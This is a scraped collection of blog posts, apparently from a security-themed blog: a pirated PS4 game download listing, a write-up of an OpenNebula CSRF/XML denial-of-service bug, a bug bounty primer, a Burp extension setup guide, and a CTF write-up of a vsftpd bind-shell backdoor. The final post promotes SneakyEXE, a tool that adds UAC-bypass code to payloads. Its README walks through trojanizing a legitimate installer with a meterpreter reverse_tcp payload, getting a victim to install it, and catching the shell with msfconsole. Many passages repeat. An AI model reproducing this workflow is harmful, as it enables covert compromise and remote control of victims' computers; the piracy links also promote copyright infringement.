viernes, 1 de mayo de 2020
Download Naruto Shippuden Ultimate Ninja Storm 4 Road To Boruto For PS4
Download Naruto Shippuden Ultimate Ninja Storm 4 Road to Boruto For PS4
FPKG | CUSA06210 | Update v1.02 |
With more than 13 million NARUTO SHIPPUDEN™: Ultimate Ninja® STORM games sold worldwide, this series has established itself among the pinnacle of Anime & Manga adaptations to videogames! NARUTO SHIPPUDEN: Ultimate Ninja STORM 4 Road to Boruto concludes the Ultimate Ninja Storm series and collects all of the DLC content packs for Storm 4 and previously exclusive pre-order bonuses! Not only will players get the Ultimate Ninja Storm 4 game and content packs, they will also get an all new adventure Road to Boruto which contains many new hours of gameplay focusing on the son of Naruto who is part of a whole new generation of ninjas.
• All Ultimate Ninja Storm 4 Content in One Edition – Includes the Ultimate Ninja Storm 4 game, 3 DLC packs from the Season Pass (Gaara's Tale Extra Scenario Pack, Shikamaru's Tale Extra Scenario Pack, and the Sound Four Extra Playable Character's Pack), the all new Road to Boruto DLC, and all the previously exclusive pre-order bonus content
• New Generation Systems – With development made specifically to leverage the power of PlayStation®4. Road to Boruto will take players through an incredible journey of beautifully Anime-rendered fights!
• Huge Character Roster and New Hidden Leaf Village – Additional playable characters including Boruto, Sarada, Mitsuki, and Sasuke (Wandering Shinobi) and a new setting of a New Hidden Leaf Village
• New Collection and Challenge Elements that extends gameplay
DOWNLOAD LINKS
domingo, 26 de abril de 2020
Save Your Cloud: DoS On VMs In OpenNebula 4.6.1
This is a post about an old vulnerability that I finally found the time to blog about. It dates back to 2014, but from a technical point of view it is nevertheless interesting: An XML parser that tries to fix structural errors in a document caused a DoS problem.
All previous posts of this series focused on XSS. This time, we present a vulnerability which is connected another Cloud Management Platform: OpenNebula. This Infrastructure-as-a-Service platform started as a research project in 2005. It is used by information technology companies like IBM, Dell and Akamai as well as academic institutions and the European Space Administrations (ESA). By relying on standard Linux tools as far as possible, OpenNebula reaches a high level of customizability and flexibility in hypervisors, storage systems, and network infrastructures. OpenNebula is distributed using the Apache-2 license.
OpenNebula offers a broad variety of interfaces to control a cloud. This post focuses on Sunstone, OpenNebula's web interface (see Figure 1).
Before OpenNebula 4.6.2, Sunstone had no Cross-Site Request Forgery (CSRF) protection. This is a severe problem. Consider an attacker who lures a victim into clicking on a malicious link while being logged in at a private cloud. This enables the attacker to send arbitrary requests to the private cloud through the victims browser. However, we could find other bugs in OpenNebula that allowed us to perform much more sophisticated attacks.
OpenNebula saves the incorrectly generated XML document in a database. The next time the OpenNebula core retrieves information about that particular VM from the database the XML parser is mixed up and runs into an error because it only expects a string as name, not an XML tree. As a result, Sunstone cannot be used to control the VM anymore. The Denial-of-Service attack can only be reverted from the command line interface of OpenNebula.
This bug can be triggered by a CSRF-attack, which means that it is a valid attack against a private cloud: By luring a victim onto a maliciously crafted website while logged in into Sunstone, an attacker can make all the victim's VMs uncontrollable via Sunstone. A video of the attack can be seen here:
This bug has been fixed in OpenNebula 4.6.2.
This result is a collaborative work together with Mario Heiderich. It has been published at ACM CCSW 2015. The paper can be found here.
All previous posts of this series focused on XSS. This time, we present a vulnerability which is connected another Cloud Management Platform: OpenNebula. This Infrastructure-as-a-Service platform started as a research project in 2005. It is used by information technology companies like IBM, Dell and Akamai as well as academic institutions and the European Space Administrations (ESA). By relying on standard Linux tools as far as possible, OpenNebula reaches a high level of customizability and flexibility in hypervisors, storage systems, and network infrastructures. OpenNebula is distributed using the Apache-2 license.
OpenNebula offers a broad variety of interfaces to control a cloud. This post focuses on Sunstone, OpenNebula's web interface (see Figure 1).
 |
| Figure 1: OpenNebula's Sunstone Interface displaying a VM's control interface |
Before OpenNebula 4.6.2, Sunstone had no Cross-Site Request Forgery (CSRF) protection. This is a severe problem. Consider an attacker who lures a victim into clicking on a malicious link while being logged in at a private cloud. This enables the attacker to send arbitrary requests to the private cloud through the victims browser. However, we could find other bugs in OpenNebula that allowed us to perform much more sophisticated attacks.
Denial-of-Service on OpenNebula-VM
At its backend, OpenNebula manages VMs with XML documents. A sample for such an XML document looks like this:<VM>OpenNebula 4.6.1 contains a bug in the sanitization of input for these XML documents: Whenever a VM's name contains an opening XML tag (but no corresponding closing one), an XML generator at the backend automatically inserts the corresponding closing tag to ensure well-formedness of the resulting document. However, the generator outputs an XML document that does not comply with the XML schema OpenNebula expects. The listing below shows the structure that is created after renaming the VM to 'My <x> VM':
<ID>0</ID>
<NAME>My VM</NAME>
<PERMISSIONS>...</PERMISSIONS>
<MEMORY>512</MEMORY>
<CPU>1</CPU>
...
</VM>
<VM>The generator closes the <x> tag, but not the <NAME> tag. At the end of the document, the generator closes all opened tags including <NAME>.
<ID>0</ID>
<NAME>My <x> VM</x>
<PERMISSIONS>...</PERMISSIONS>
<MEMORY>512</MEMORY>
<CPU>1</CPU>
...
</NAME>
</VM>
OpenNebula saves the incorrectly generated XML document in a database. The next time the OpenNebula core retrieves information about that particular VM from the database the XML parser is mixed up and runs into an error because it only expects a string as name, not an XML tree. As a result, Sunstone cannot be used to control the VM anymore. The Denial-of-Service attack can only be reverted from the command line interface of OpenNebula.
This bug can be triggered by a CSRF-attack, which means that it is a valid attack against a private cloud: By luring a victim onto a maliciously crafted website while logged in into Sunstone, an attacker can make all the victim's VMs uncontrollable via Sunstone. A video of the attack can be seen here:
This bug has been fixed in OpenNebula 4.6.2.
This result is a collaborative work together with Mario Heiderich. It has been published at ACM CCSW 2015. The paper can be found here.
Continue reading
jueves, 23 de abril de 2020
How Do I Get Started With Bug Bounty ?
How do I get started with bug bounty hunting? How do I improve my skills?
These are some simple steps that every bug bounty hunter can use to get started and improve their skills:
Learn to make it; then break it!
A major chunk of the hacker's mindset consists of wanting to learn more. In order to really exploit issues and discover further potential vulnerabilities, hackers are encouraged to learn to build what they are targeting. By doing this, there is a greater likelihood that hacker will understand the component being targeted and where most issues appear. For example, when people ask me how to take over a sub-domain, I make sure they understand the Domain Name System (DNS) first and let them set up their own website to play around attempting to "claim" that domain.
Read books. Lots of books.
One way to get better is by reading fellow hunters' and hackers' write-ups. Follow /r/netsec and Twitter for fantastic write-ups ranging from a variety of security-related topics that will not only motivate you but help you improve. For a list of good books to read, please refer to "What books should I read?".
Join discussions and ask questions.
As you may be aware, the information security community is full of interesting discussions ranging from breaches to surveillance, and further. The bug bounty community consists of hunters, security analysts, and platform staff helping one and another get better at what they do. There are two very popular bug bounty forums: Bug Bounty Forum and Bug Bounty World.
Participate in open source projects; learn to code.
Go to https://github.com/explore or https://gitlab.com/explore/projects and pick a project to contribute to. By doing so you will improve your general coding and communication skills. On top of that, read https://learnpythonthehardway.org/ and https://linuxjourney.com/.
Help others. If you can teach it, you have mastered it.
Once you discover something new and believe others would benefit from learning about your discovery, publish a write-up about it. Not only will you help others, you will learn to really master the topic because you can actually explain it properly.
Smile when you get feedback and use it to your advantage.
The bug bounty community is full of people wanting to help others so do not be surprised if someone gives you some constructive feedback about your work. Learn from your mistakes and in doing so use it to your advantage. I have a little physical notebook where I keep track of the little things that I learnt during the day and the feedback that people gave me.
Learn to approach a target.
The first step when approaching a target is always going to be reconnaissance — preliminary gathering of information about the target. If the target is a web application, start by browsing around like a normal user and get to know the website's purpose. Then you can start enumerating endpoints such as sub-domains, ports and web paths.
A woodsman was once asked, "What would you do if you had just five minutes to chop down a tree?" He answered, "I would spend the first two and a half minutes sharpening my axe."
As you progress, you will start to notice patterns and find yourself refining your hunting methodology. You will probably also start automating a lot of the repetitive tasks.
These are some simple steps that every bug bounty hunter can use to get started and improve their skills:
Learn to make it; then break it!
A major chunk of the hacker's mindset consists of wanting to learn more. In order to really exploit issues and discover further potential vulnerabilities, hackers are encouraged to learn to build what they are targeting. By doing this, there is a greater likelihood that hacker will understand the component being targeted and where most issues appear. For example, when people ask me how to take over a sub-domain, I make sure they understand the Domain Name System (DNS) first and let them set up their own website to play around attempting to "claim" that domain.
Read books. Lots of books.
One way to get better is by reading fellow hunters' and hackers' write-ups. Follow /r/netsec and Twitter for fantastic write-ups ranging from a variety of security-related topics that will not only motivate you but help you improve. For a list of good books to read, please refer to "What books should I read?".
Join discussions and ask questions.
As you may be aware, the information security community is full of interesting discussions ranging from breaches to surveillance, and further. The bug bounty community consists of hunters, security analysts, and platform staff helping one and another get better at what they do. There are two very popular bug bounty forums: Bug Bounty Forum and Bug Bounty World.
Participate in open source projects; learn to code.
Go to https://github.com/explore or https://gitlab.com/explore/projects and pick a project to contribute to. By doing so you will improve your general coding and communication skills. On top of that, read https://learnpythonthehardway.org/ and https://linuxjourney.com/.
Help others. If you can teach it, you have mastered it.
Once you discover something new and believe others would benefit from learning about your discovery, publish a write-up about it. Not only will you help others, you will learn to really master the topic because you can actually explain it properly.
Smile when you get feedback and use it to your advantage.
The bug bounty community is full of people wanting to help others so do not be surprised if someone gives you some constructive feedback about your work. Learn from your mistakes and in doing so use it to your advantage. I have a little physical notebook where I keep track of the little things that I learnt during the day and the feedback that people gave me.
Learn to approach a target.
The first step when approaching a target is always going to be reconnaissance — preliminary gathering of information about the target. If the target is a web application, start by browsing around like a normal user and get to know the website's purpose. Then you can start enumerating endpoints such as sub-domains, ports and web paths.
A woodsman was once asked, "What would you do if you had just five minutes to chop down a tree?" He answered, "I would spend the first two and a half minutes sharpening my axe."
As you progress, you will start to notice patterns and find yourself refining your hunting methodology. You will probably also start automating a lot of the repetitive tasks.
Read more
miércoles, 22 de abril de 2020
The Incident Response Challenge 2020 — Win $5,000 Prize!
Cybersecurity firm Cynet today announced the launch of a first of its kind challenge to enable Incident Response professionals to test their skills with 25 forensic challenges that were built by top researchers and analysts. The challenge is available on https://ift.tt/2Vrf4e0 and is open to anyone willing to test his or her investigation skills, between April 21st and May
via The Hacker News
via The Hacker News
Read more
lunes, 20 de abril de 2020
Setting Up A Burp Development Environment
This quick blog post will document getting started with developing Burp extensions using java. Burp provides interfaces for developers to hook into the Burp application and extend the application or integrate with other tools, this interface is documented on the following site - http://portswigger.net/burp/extender/
For this guide you will need the following items:
After downloading and opening up Eclipse you will need to create a new java project. This can be done by clicking "File->New Java Project". Fill in a project name and click finish.
Once the project has been created you will need to create a new package called "burp". This can be done by right clicking the "src" folder under your new project and selecting "New->Package". When the dialog comes up set the "Name" as "burp":
You should now have a package named "burp" under the source folder in the right pane. Now you will need to import the Burp extender classes into your project. Download all of the extender classes to a local folder, once this is done right click on the "burp" package in your project and select "Import". On the dialog window that comes up select "General->File System" and hit "next":
On the next dialog you will need to navigate to where you downloaded the Burp extender classes to. Once you have done this you should see the classes, click on the folder to select all items and click "Finish":
Next we can add the Burp application into the project. To do this click on "Project->Properties" on the top toolbar. When the dialog opens select "Java Build Path" and then the "Libraries" tab. On this dialog click "Add External JARs..."
Navigate to where ever you have Burp downloaded to and select it. After you have done this click "OK" to dismiss the dialog. You are now ready to build your own Burp extensions. You can test your environment by creating a new class in the burp package named "BurpExtender". Right click the "burp" package and click "New->Class". On the dialog that comes up enter "BurpExtender" and click "Finish":
In the "BurpExtender" class you can enter the following:
package burp;
public class BurpExtender
{
public void registerExtenderCallbacks(IBurpExtenderCallbacks callbacks)
{
callbacks.registerMenuItem("Hello World.", new CustomMenuItem());
}
}
class CustomMenuItem implements IMenuItemHandler
{
public void menuItemClicked(String menuItemCaption, IHttpRequestResponse[] messageInfo)
{
try
{
System.out.println("Hello From Burp!");
System.out.println("Request Item Details");
System.out.println("Host: " + messageInfo[0].getHost());
System.out.println("URL: " + messageInfo[0].getUrl());
}
catch (Exception e)
{
e.printStackTrace();
}
}
}
After adding the content to your "BurpExtender" class you are ready to run the project for the first time. Click on "Run->Run" from the menu. You should see the following dialog asking how it should run your project:
Select "Java Application" and click "Ok". Next you should receive a dialog asking which application you want to run. Select "StartBurp - burp" and click "Ok":
You should now see the burp application running. Intercept a request in the application and right click on the request, you should now see an item in the menu named "Hello World."
When you click the "Hello World." menu button you should see some information about the request in your eclipse console window:
That's it, you now have setup your working development environment for building your own Burp extensions. The javadocs for the Burp Extender interfaces are available on the Extender web page:
For this guide you will need the following items:
- Eclipse IDE for Java Developers - http://www.eclipse.org/downloads/moreinfo/java.php
- BurpSuite Free - http://portswigger.net/burp/download.html
- Burp Extender classes - http://portswigger.net/burp/extender/
- http://portswigger.net/burp/extender/IBurpExtender.java
- http://portswigger.net/burp/extender/IBurpExtenderCallbacks.java
- http://portswigger.net/burp/extender/IHttpRequestResponse.java
- http://portswigger.net/burp/extender/IScanIssue.java
- http://portswigger.net/burp/extender/IScanQueueItem.java
- http://portswigger.net/burp/extender/IMenuItemHandler.java
After downloading and opening up Eclipse you will need to create a new java project. This can be done by clicking "File->New Java Project". Fill in a project name and click finish.
Once the project has been created you will need to create a new package called "burp". This can be done by right clicking the "src" folder under your new project and selecting "New->Package". When the dialog comes up set the "Name" as "burp":
You should now have a package named "burp" under the source folder in the right pane. Now you will need to import the Burp extender classes into your project. Download all of the extender classes to a local folder, once this is done right click on the "burp" package in your project and select "Import". On the dialog window that comes up select "General->File System" and hit "next":
On the next dialog you will need to navigate to where you downloaded the Burp extender classes to. Once you have done this you should see the classes, click on the folder to select all items and click "Finish":
Next we can add the Burp application into the project. To do this click on "Project->Properties" on the top toolbar. When the dialog opens select "Java Build Path" and then the "Libraries" tab. On this dialog click "Add External JARs..."
In the "BurpExtender" class you can enter the following:
package burp;
public class BurpExtender
{
public void registerExtenderCallbacks(IBurpExtenderCallbacks callbacks)
{
callbacks.registerMenuItem("Hello World.", new CustomMenuItem());
}
}
class CustomMenuItem implements IMenuItemHandler
{
public void menuItemClicked(String menuItemCaption, IHttpRequestResponse[] messageInfo)
{
try
{
System.out.println("Hello From Burp!");
System.out.println("Request Item Details");
System.out.println("Host: " + messageInfo[0].getHost());
System.out.println("URL: " + messageInfo[0].getUrl());
}
catch (Exception e)
{
e.printStackTrace();
}
}
}
After adding the content to your "BurpExtender" class you are ready to run the project for the first time. Click on "Run->Run" from the menu. You should see the following dialog asking how it should run your project:
When you click the "Hello World." menu button you should see some information about the request in your eclipse console window:
That's it, you now have setup your working development environment for building your own Burp extensions. The javadocs for the Burp Extender interfaces are available on the Extender web page:
- http://portswigger.net/burp/extender/burp/IBurpExtender.html
- http://portswigger.net/burp/extender/burp/IBurpExtenderCallbacks.html
- http://portswigger.net/burp/extender/burp/IHttpRequestResponse.html
- http://portswigger.net/burp/extender/burp/IScanIssue.html
- http://portswigger.net/burp/extender/burp/IScanQueueItem.html
- http://portswigger.net/burp/extender/burp/IMenuItemHandler.html
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Zirikatu Tool - Fud Payload Generator Script
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Vsftpd Backdoor - Ekoparty Prectf - Amn3S1A Team
It's a 32bits elf binary of some version of vsftpd, where it have been added a backdoor, they don't specify is an authentication backdoor, a special command or other stuff.
I started looking for something weird on the authentication routines, but I didn't found anything significant in a brief period of time, so I decided to do a bindiff, that was the key for locating the backdoor quickly. I do a quick diff of the strings with the command "strings bin | sort -u" and "vimdiff" and noticed that the backdoored binary has the symbol "execl" which is weird because is a call for executing elfs, don't needed for a ftp service, and weird that the compiled binary doesn't has that symbol.
Looking the xrefs of "execl" on IDA I found that code that is a clear backdoor, it create a socket, bind a port and duplicate the stdin, stdout and stderr to the socket and use the execl:
There are one xrefs to this function, the function that decides when trigger that is that kind of systems equations decision:
The backdoor was not on the authentication, it was a special command to trigger the backdoor, which is obfuscated on that systems equation, it was no needed to use a z3 equation solver because is a simple one and I did it by hand.
The equation:
cmd[0] = 69
cmd[1] = 78
cmd[1] + cmd[2] = 154
cmd[2] + cmd[3] = 202
cmd[3] + cmd[4] = 241
cmd[4] + cmd[5] = 233
cmd[5] + cmd[6] = 217
cmd[6] + cmd[7] = 218
cmd[7] + cmd[8] = 228
cmd[8] + cmd[9] = 212
cmd[9] + cmd[10] = 195
cmd[10] + cmd[11] = 195
cmd[11] + cmd[12] = 201
cmd[12] + cmd[13] = 207
cmd[13] + cmd[14] = 203
cmd[14] + cmd[15] = 215
cmd[15] + cmd[16] = 235
cmd[16] + cmd[17] = 242
The solution:
cmd[0] = 69
cmd[1] = 75
cmd[2] = 79
cmd[3] = 123
cmd[4] = 118
cmd[5] = 115
cmd[6] = 102
cmd[7] = 116
cmd[8] = 112
cmd[9] = 100
cmd[10] = 95
cmd[11] = 100
cmd[12] = 101
cmd[13] = 106
cmd[14] = 97
cmd[15] = 118
cmd[16] = 117
cmd[17] = 125
The flag:
EKO{vsftpd_dejavu}
The binary:
https://ctf.ekoparty.org/static/pre-ekoparty/backdoor
The binary:
https://ctf.ekoparty.org/static/pre-ekoparty/backdoor
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SneakyEXE: An "UAC-Bypassing" Codes Embedding Tool For Your Win32 Payload
About SneakyEXE
SneakyEXE is a tool which helps you embedding a UAC-Bypassing function into your custom Win32 payloads (x86_64 architecture specifically).
SneakyEXE was tested on:
- Windows 7, 8, 10 (64 bit)
- Parrot Security OS 4.7
Requirements of SneakyEXE:
- For Linux: Architecture: Optional
Python 3.7.x: Yes
Module: termcolor
Distro: Any
Distro version: Any - For Windows: Architecture: x86_64
Python 3.7.x: No
Module: No
Windows version: 7, 8, 10
SneakyEXE's Installtion for Linux
You must install Python 3 first:
- For Debian-based distros:
sudo apt install python3 - For Arch Linux based distros:
sudo pacman -S python3
And then, open your Terminal and enter these commands:
SneakyEXE's Installtion for Windows
- Download SneakEXE-master zip file.
- Unzip it into your optional directory.
- Change dir to
\SneakyEXE\Win32\. - Execute
sneakyexe.exe(orsys\sneakyexe.exefor an improved startup speed). - (Optional : you can copy
sneakyexe.exeto whatever directory you want and delete the unzipped one)
NOTE: The payload can only be successfully executed by the user with Administrator privilege. Users with limited token wouldn't succeed.
SneakyEXE GUI verion installation for Windows
You must install Python 3 first. Download and run Python 3.7.x setup file from Python.org. On Install Python 3.7, enable Add Python 3.7 to PATH.
Download SneakEXE-master zip file and unzip it.
And then, open PowerShell or CMD on SneakyEXE folder where you have just unzipped SneakyEXE-master and enter these command:
How to use SneakyEXE?
Example:
I dowloaded Unikey from Unikey.org.
And then, i used
After that, to embed UAC-Bypassing codes to
And then, by some how, makes your victim installs the payload that was embedded UAC-Bypassing codes and enter these commands:
and wait...
Disclaimer:
SneakyEXE GUI verion installation for Windows
You must install Python 3 first. Download and run Python 3.7.x setup file from Python.org. On Install Python 3.7, enable Add Python 3.7 to PATH.
Download SneakEXE-master zip file and unzip it.
And then, open PowerShell or CMD on SneakyEXE folder where you have just unzipped SneakyEXE-master and enter these command:
pip install pillow
pip install pyinstaller
mkdir compile
cd compile
pyinstaller --windowed --onefile --icon=Icon.ico /source/Win32/GUI.py
cd dist
GUI.exeHow to use SneakyEXE?
Example:
I dowloaded Unikey from Unikey.org.
And then, i used
msfvenom to inject payload to UniKeyNT.exe (payload used: windows/meterpreter/reverse_tcp). I called the payload file is uNiKeY.exe.After that, to embed UAC-Bypassing codes to
uNiKeY.exe, i used this command:python3 sneakyexe bin=/home/hildathedev/uNiKeY.exe out=/home/hildathedev/SneakyEXEAnd then, by some how, makes your victim installs the payload that was embedded UAC-Bypassing codes and enter these commands:
sudo msfconsole -q
use multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST <Your IP address>
set LHOST <Your port>
exploitand wait...
Disclaimer:
- This tool was made for academic purposes or ethical cases only. I ain't taking any resposibility upon your actions if you abuse this tool for any black-hat acitivity
- Feel free to use this project in your software, just don't reclaim the ownerhsip.
Credits: This tool does embed UACme which was originally coded by hfiref0x but the rest was pretty much all coded by me (Zenix Blurryface).Author: Copyright © 2019 by Zenix Blurryface.
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